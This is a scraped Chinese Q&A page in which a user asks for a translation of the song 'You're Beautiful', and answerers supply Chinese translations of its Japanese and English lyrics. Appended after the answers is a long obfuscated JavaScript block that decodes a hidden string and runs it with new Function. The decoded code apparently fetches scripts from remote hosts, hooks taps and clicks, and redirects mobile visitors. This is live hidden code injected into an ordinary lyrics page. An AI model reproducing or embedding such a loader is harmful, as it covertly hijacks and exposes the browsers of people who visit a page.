请翻译这首《You✀re Beautiful》的歌,英文部分也要翻译,通顺的一定采纳,谢谢!

2025-02-24 04:25:43
推荐回答(3个)
回答1:

You're Beautiful 你是如此美丽

作词:Miliyah
作曲:Miliyah

All I Wanna Do Is Feeling For You
When I'm Sad I Wanna Cry
泣けないのに
君のことをただ想うだけで
どうして
涙が出るのは

我唯一想做的就是为你动情
当我悲伤的时候我想流泪
明明哭不出来
可是只要一想到你
为什么
眼泪却不由自主地掉落下来

どこにいるのかもわからないDarling
ずっと颜も见ていないのに
记忆の中
君の姿
どうして
いつも心に君がいるのは

也许我并不知道你在何处 亲爱的
也并没有能一直看到你的容颜
在我的记忆里
你的身影
却为何
你总在我心

When I See The Moonlight
When I See The Sunshine
君に见せたい
いつも思うの
眺めてるよ
见てるだけでいいの
こんな想いまるで奇迹
君がどこにいても
谁といても

当我看到月光
当我看到阳光
都想与你分享
总是这样想着
我在眺望着你呀
只要能看到你就好
这样的愿望宛如奇迹
无论你在何处
即使和谁在一起

爱を止めないで
梦から醒めても梦
美しいMy Heart
君は绮丽だよ
とても素敌よ ねぇ
伝えたい

我也不会停止爱你
即使从睡梦中醒来仍在梦想
那样美丽的我的心爱
你是如此美丽呀
无比完美呀
好想告诉你

You're Beautiful
冷たくされても
I'm Fine
いつも电话に出なくても

你是如此美丽
就算被你冷漠对待
我也没关系
就算是总也不接我的电话

冷たい目で退屈な目で见つめても
どうして
君がこんなに爱しいのは

即使你用冰冷的厌倦的目光看我
为什么
对你这样的爱慕呢

When I Eat Some Good Dish
When I Go Some Good Place
君と来たい
そう愿うよ
目を闭じれば
いつだって君をちゃんと
思い出せるから
ひとりでもあたしは大丈夫

当我尝到美食
当我寻到美景
想和你一起分享
我这样祈祷着
只要闭上眼睛
无论何时都能把你
清楚地想起来
就算独自一人我也没关系

君は绮丽だよ
とても素敌よ ねぇ
美しいYour Heart
どんなに素敌か
今伝えるから
君を见て

你是如此美丽呀
无比完美呀
如此美丽的你的心灵
到底有多完美
现在我看着你的时候
就要告诉你

Baby Can't You See I See The Moonlight
Baby You Can See I See The Sunshine

宝贝 你能否看到我看到的月光
宝贝 你能看到我所看到的阳光

よく梦の中现れて
强く抱きしめたりするの
儚いから美しいんでしょう
All I Wanna Do Is Falling Down Baby
远く彼方过ぎ去っても
月日が想いかき消しても
どうして
君を感じるのは

总是在梦中出现
紧紧地和你相拥
因为是那样的虚幻所以才觉得分外美丽吧
我唯一想做的就是陷入 宝贝
即使消逝在遥远的天边
即使岁月抹去我的思念
为什么
还是能感觉到你

All I Wanna Do Is Falling Down Baby
When I See The Moonlight
When I See The Sunshine
君を感じる
谁よりも
君が君として居てくれればいいの
恋ってそういうものでしょう
どうして
君がそれを教えたのは

我唯一想做的就是陷入 宝贝
当我看到月光
当我看到阳光
感觉到你
比任何人都强烈
你只要过你想要的生活就好
恋爱就是那样的吧
为什么
教会了我这些的是你啊

====================================

回答2:

我在网上自己查了一下歌词,感觉你的歌词少了一些。
我把最全的那个翻译了。你看看是不是你需要的。
如果有问题,可以再问我

All I wanna do is feeling for you 我想要的全部就是感受你
When I'm sad I wanna cry 泣けないのに 当我伤心的时候,我哭泣,明明已经不会哭了
君のことをただ想うだけで 只要想着你的事情
どうして? 涙が出るのは 为什么(会这样)?眼泪会流出来

どこにいるのかもわからない Darling 亲爱的,我不知道你在哪
ずっと颜も见ていないのに baby baby baby 宝贝,宝贝,宝贝,明明一直看不到你的脸庞
记忆の中 君の姿 记忆中,(浮现出)你的身影
どうして? いつも心に君がいるのは 为什么(会这样)?你总是在我的心中

When I see the moonlight 当我看到月光的时候
When I see the sunshine 当我看到阳光的时候
君に见せたい いつも思うの 一直都会想让你也看看
眺めてるよ 见てるだけでいいの 远远的眺望,只是看看就好
こんな想いまるで奇迹 这样的感情就好像是奇迹一样
君がどこにいても 谁といても 不论你在哪里,不论你跟谁在一起

爱を止めないで 不要让爱停下来
梦から醒めても梦 就算梦醒了也要抱着这个梦
baby baby 美しいmy heart 宝贝,宝贝,在我心里你是那么的美丽
君は绮丽だよ 你那么的美丽
とても素敌よ ねぇ 十分的完美哦
baby baby 伝えたい 宝贝,宝贝,我想告诉你
You're Beautiful 你很美丽
You're Beautiful 你很美丽
You're Beautiful 你很美丽

冷たくされても I'm fine 就算被冷淡的对待,我也没关系
いつも电话に出なくてもbaby baby baby 一直不给我打电话也(没事),宝贝,宝贝,宝贝
冷たい目で退屈な目で见つめても 就算看到你冰冷,不耐的眼神也(没有关系)
どうして? 为什么(会这样)?
君がこんなに爱しいのは 我是这么的爱你

When I eat some good dish 当我吃到好吃的菜的时候
When I go some good place 当我到了一处好地方的时候
君と来たい そう愿うよ 我都会祈祷和你一起享受
目を闭じれば 闭上眼睛的话
いつだって君をちゃんと 不论什么时候
思い出せるから 都能想起你来
ひとりでもあたしは大丈夫 就算一个人,我也没关系

君は绮丽だよ 你那么的美丽
とても素敌よ ねぇ 十分的完美哦
baby baby 美しいyour heart 宝贝,宝贝,我想告诉你
どんなに素敌か (到底)有多完美呢
今伝えるから 现在(让我来)告诉你
Baby baby 君を见て 宝贝,宝贝,我想看到你
You're Beautiful 你很美丽
You're Beautiful 你很美丽
You're Beautiful 你很美丽

Baby can't you see I see the moonlight 宝贝你能看到我看到的月光吗
Baby you can see I see the sunshine 宝贝你能看到我看到的阳光吗

よく梦の中现れて 总是在梦中出现
强く抱きしめたりするの 和你紧紧相拥
儚いから美しいんでしょう? 那么的不真实,但却很美吧?
All I wanna do is falling down baby 所有我想做的就是(降临)在你身边
远く彼方过ぎ去っても 就算消失在远方
月日が想いかき消しても 就算思念完全消失
どうして?君を感じるのは 为什么(会这样)?(这样地)感受到你
All I wanna do is falling down baby 所有我想做的就是(降临)在你身边

When I see the moonlight 当我看到月光的时候
When I see the sunshine 当我看到阳光的时候
君を感じる 谁よりも 我比任何人都能感受到你
君が君として居てくれればいいの 如果你能用你最真实的样子跟我在一起那该多好啊
恋ってそういうものでしょう? 恋爱,不就是这样吗?
どうして?君がそれを教えたのは 为什么(会这样)?你那样告诉我

爱を止めないで 不要让爱停下来
梦から醒めても梦 就算梦醒了也要抱着这个梦
baby baby 美しいmy heart 宝贝,宝贝,在我心里你是那么的美丽
君は绮丽だよ 你那么的美丽
とても素敌よ ねぇ 十分的完美哦
baby baby 伝えたい 宝贝,宝贝,我想告诉你
You're Beautiful 你很美丽
You're Beautiful 你很美丽
You're Beautiful 你很美丽

回答3:

第一,这些英语你想翻成什么语?
第二,这些日语你想翻成什么语?

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();